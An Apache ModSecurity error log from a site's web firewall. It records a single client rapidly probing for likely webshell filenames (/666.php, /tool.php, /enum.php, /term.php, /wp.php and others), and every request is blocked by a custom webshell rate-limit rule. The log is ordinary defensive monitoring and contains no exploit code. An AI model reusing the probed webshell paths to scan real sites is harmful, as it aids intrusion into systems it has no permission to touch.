[Wed Apr 08 23:48:56.393020 2026] [:error] [pid 12490:tid 12514] [client 72.146.17.160:45842] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adZ46G1Fea4F4fbumr1R4wAAANY"]
[Wed Apr 08 23:48:57.196763 2026] [:error] [pid 12385:tid 12392] [client 72.146.17.160:33470] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "adZ46SAjtvRQEkLosq21nAAAAAM"]
[Wed Apr 08 23:48:58.276147 2026] [:error] [pid 64066:tid 64073] [client 72.146.17.160:52916] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "adZ46lR3WucJgr2vZGapkwAAAUQ"]
[Wed Apr 08 23:48:59.167499 2026] [:error] [pid 64066:tid 64080] [client 72.146.17.160:63466] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "adZ461R3WucJgr2vZGapmQAAAUs"]
[Wed Apr 08 23:49:01.433669 2026] [:error] [pid 12490:tid 12498] [client 72.146.17.160:58536] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "adZ47W1Fea4F4fbumr1R9AAAAMY"]
[Wed Apr 08 23:49:02.375993 2026] [:error] [pid 7047:tid 7073] [client 72.146.17.160:63424] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adZ47uNh3oGO3pKiCzxY2AAAAZg"]
[Wed Apr 08 23:49:03.809209 2026] [:error] [pid 64066:tid 64092] [client 72.146.17.160:58552] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adZ471R3WucJgr2vZGapugAAAVc"]
[Wed Apr 08 23:49:05.073873 2026] [:error] [pid 64066:tid 64093] [client 72.146.17.160:56812] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adZ48VR3WucJgr2vZGapxgAAAVg"]
[Wed Apr 08 23:49:05.878635 2026] [:error] [pid 12490:tid 12510] [client 72.146.17.160:40692] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adZ48W1Fea4F4fbumr1R-QAAANI"]
[Wed Apr 08 23:49:06.944625 2026] [:error] [pid 12490:tid 12511] [client 72.146.17.160:62654] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/congeree.php"] [unique_id "adZ48m1Fea4F4fbumr1R_QAAANM"]
[Wed Apr 08 23:49:07.999795 2026] [:error] [pid 64066:tid 64074] [client 72.146.17.160:45832] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/congeree.php"] [unique_id "adZ481R3WucJgr2vZGap2QAAAUU"]
[Wed Apr 08 23:49:09.114177 2026] [:error] [pid 64066:tid 64079] [client 72.146.17.160:50948] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/congeree.php"] [unique_id "adZ49VR3WucJgr2vZGap4wAAAUo"]
[Wed Apr 08 23:49:09.913976 2026] [:error] [pid 64066:tid 64079] [client 72.146.17.160:32662] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/congeree.php"] [unique_id "adZ49VR3WucJgr2vZGap7gAAAUo"]
[Wed Apr 08 23:49:10.700473 2026] [:error] [pid 64066:tid 64079] [client 72.146.17.160:62604] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adZ49lR3WucJgr2vZGap_QAAAUo"]
[Wed Apr 08 23:49:11.345735 2026] [:error] [pid 7047:tid 7050] [client 72.146.17.160:45855] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adZ49-Nh3oGO3pKiCzxY4QAAAYE"]
[Wed Apr 08 23:49:12.280777 2026] [:error] [pid 12490:tid 12493] [client 72.146.17.160:64148] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adZ4-G1Fea4F4fbumr1SDQAAAME"]
[Wed Apr 08 23:49:13.043900 2026] [:error] [pid 12490:tid 12502] [client 72.146.17.160:3487] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "adZ4-W1Fea4F4fbumr1SDwAAAMo"]
[Wed Apr 08 23:49:13.657782 2026] [:error] [pid 12490:tid 12494] [client 72.146.17.160:58522] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enum.php"] [unique_id "adZ4-W1Fea4F4fbumr1SEAAAAMI"]
[Wed Apr 08 23:49:14.970654 2026] [:error] [pid 35642:tid 35655] [client 72.146.17.160:56826] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enum.php"] [unique_id "adZ4-g-CqryxdEs5DN95QwAAAEs"]
[Wed Apr 08 23:49:16.367786 2026] [:error] [pid 7189:tid 7209] [client 72.146.17.160:52908] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enum.php"] [unique_id "adZ4_BaBqhBSu0L37loDJAAAAdI"]
[Wed Apr 08 23:49:17.220183 2026] [:error] [pid 7189:tid 7203] [client 72.146.17.160:65069] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enum.php"] [unique_id "adZ4_RaBqhBSu0L37loDJgAAAcw"]
[Wed Apr 08 23:49:17.950044 2026] [:error] [pid 7047:tid 7063] [client 72.146.17.160:4008] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adZ4_eNh3oGO3pKiCzxY6wAAAY4"]
[Wed Apr 08 23:49:18.531950 2026] [:error] [pid 12453:tid 12465] [client 72.146.17.160:37749] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adZ4_hjtW7S6XsLPvrRypgAAAIo"]
[Wed Apr 08 23:49:19.315972 2026] [:error] [pid 12490:tid 12493] [client 72.146.17.160:62637] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adZ4_21Fea4F4fbumr1SHAAAAME"]
[Wed Apr 08 23:49:20.240365 2026] [:error] [pid 12490:tid 12496] [client 72.146.17.160:37788] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adZ5AG1Fea4F4fbumr1SHQAAAMQ"]
[Wed Apr 08 23:49:21.756151 2026] [:error] [pid 7047:tid 7065] [client 72.146.17.160:56783] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "adZ5AeNh3oGO3pKiCzxY_AAAAZA"]
[Wed Apr 08 23:49:23.002656 2026] [:error] [pid 7189:tid 7200] [client 72.146.17.160:33471] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "adZ5AxaBqhBSu0L37loDKQAAAck"]
[Wed Apr 08 23:49:23.768083 2026] [:error] [pid 35642:tid 35664] [client 72.146.17.160:64476] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "adZ5Aw-CqryxdEs5DN95UQAAAFQ"]
[Wed Apr 08 23:49:25.357982 2026] [:error] [pid 7189:tid 7203] [client 72.146.17.160:37809] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/index.php"] [unique_id "adZ5BRaBqhBSu0L37loDMAAAAcw"]
[Wed Apr 08 23:49:26.111506 2026] [:error] [pid 64066:tid 64082] [client 72.146.17.160:4022] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "adZ5BlR3WucJgr2vZGaqEwAAAU0"]
[Wed Apr 08 23:49:26.966696 2026] [:error] [pid 12453:tid 12468] [client 72.146.17.160:64484] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "adZ5BhjtW7S6XsLPvrRywwAAAI0"]
[Wed Apr 08 23:49:27.903976 2026] [:error] [pid 12386:tid 12420] [client 72.146.17.160:3471] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "adZ5BxLhhLtqHi2gK7UzngAAAQQ"]
[Wed Apr 08 23:49:28.671002 2026] [:error] [pid 64066:tid 64074] [client 72.146.17.160:3977] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "adZ5CFR3WucJgr2vZGaqIAAAAUU"]
[Wed Apr 08 23:49:29.409592 2026] [:error] [pid 12490:tid 12497] [client 72.146.17.160:38629] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ5CW1Fea4F4fbumr1SNQAAAMU"]
[Wed Apr 08 23:49:30.226476 2026] [:error] [pid 12490:tid 12504] [client 72.146.17.160:63452] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ5Cm1Fea4F4fbumr1SOgAAAMw"]
[Wed Apr 08 23:49:30.977295 2026] [:error] [pid 12386:tid 12436] [client 72.146.17.160:32650] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ5ChLhhLtqHi2gK7UzogAAARQ"]
[Wed Apr 08 23:49:31.925999 2026] [:error] [pid 7189:tid 7201] [client 72.146.17.160:64485] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adZ5CxaBqhBSu0L37loDPQAAAco"]
[Wed Apr 08 23:49:32.678705 2026] [:error] [pid 12386:tid 12432] [client 72.146.17.160:37812] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "adZ5DBLhhLtqHi2gK7UzqAAAARA"]
[Wed Apr 08 23:49:34.077514 2026] [:error] [pid 35642:tid 35662] [client 72.146.17.160:64145] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "adZ5Dg-CqryxdEs5DN95VwAAAFI"]
[Wed Apr 08 23:49:35.880772 2026] [:error] [pid 7189:tid 7202] [client 72.146.17.160:63444] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "adZ5DxaBqhBSu0L37loDQAAAAcs"]
[Wed Apr 08 23:49:36.809163 2026] [:error] [pid 7047:tid 7055] [client 72.146.17.160:65051] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "adZ5EONh3oGO3pKiCzxZHgAAAYY"]
[Wed Apr 08 23:49:37.911073 2026] [:error] [pid 12385:tid 12405] [client 72.146.17.160:37704] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v1.php"] [unique_id "adZ5ESAjtvRQEkLosq21vQAAABA"]
[Wed Apr 08 23:49:53.568532 2026] [:error] [pid 7047:tid 7068] [client 72.146.17.160:42997] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adZ5IeNh3oGO3pKiCzxZTAAAAZM"]
[Wed Apr 08 23:49:54.519877 2026] [:error] [pid 7047:tid 7055] [client 72.146.17.160:42964] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adZ5IuNh3oGO3pKiCzxZUwAAAYY"]
[Wed Apr 08 23:49:55.401425 2026] [:error] [pid 12490:tid 12498] [client 72.146.17.160:51752] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adZ5I21Fea4F4fbumr1ShgAAAMY"]
[Wed Apr 08 23:49:56.333711 2026] [:error] [pid 12490:tid 12514] [client 72.146.17.160:44125] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adZ5JG1Fea4F4fbumr1SiAAAANY"]
[Wed Apr 08 23:49:57.400067 2026] [:error] [pid 12490:tid 12501] [client 72.146.17.160:3670] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/health.php"] [unique_id "adZ5JW1Fea4F4fbumr1SjQAAAMk"]
[Wed Apr 08 23:49:58.473374 2026] [:error] [pid 12453:tid 12478] [client 72.146.17.160:44138] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/health.php"] [unique_id "adZ5JhjtW7S6XsLPvrRy_wAAAJc"]
[Wed Apr 08 23:50:00.453927 2026] [:error] [pid 64066:tid 64092] [client 72.146.17.160:38646] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/health.php"] [unique_id "adZ5KFR3WucJgr2vZGaqjAAAAVc"]
[Wed Apr 08 23:50:02.210140 2026] [:error] [pid 12490:tid 12502] [client 72.146.17.160:52923] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/health.php"] [unique_id "adZ5Km1Fea4F4fbumr1SnAAAAMo"]
[Wed Apr 08 23:50:04.211528 2026] [:error] [pid 7047:tid 7061] [client 72.146.17.160:64153] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adZ5LONh3oGO3pKiCzxZWQAAAYw"]
[Wed Apr 08 23:50:06.466452 2026] [:error] [pid 64066:tid 64093] [client 72.146.17.160:32685] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adZ5LlR3WucJgr2vZGaqmQAAAVg"]
[Wed Apr 08 23:50:08.568952 2026] [:error] [pid 64066:tid 64084] [client 72.146.17.160:48523] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adZ5MFR3WucJgr2vZGaqogAAAU8"]
[Wed Apr 08 23:50:09.778013 2026] [:error] [pid 7047:tid 7056] [client 72.146.17.160:62715] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adZ5MeNh3oGO3pKiCzxZXgAAAYc"]
[Wed Apr 08 23:50:10.664564 2026] [:error] [pid 7189:tid 7213] [client 72.146.17.160:32691] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "adZ5MhaBqhBSu0L37loDXwAAAdY"]
[Wed Apr 08 23:50:11.649416 2026] [:error] [pid 12490:tid 12515] [client 72.146.17.160:48520] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "adZ5M21Fea4F4fbumr1SqgAAANc"]
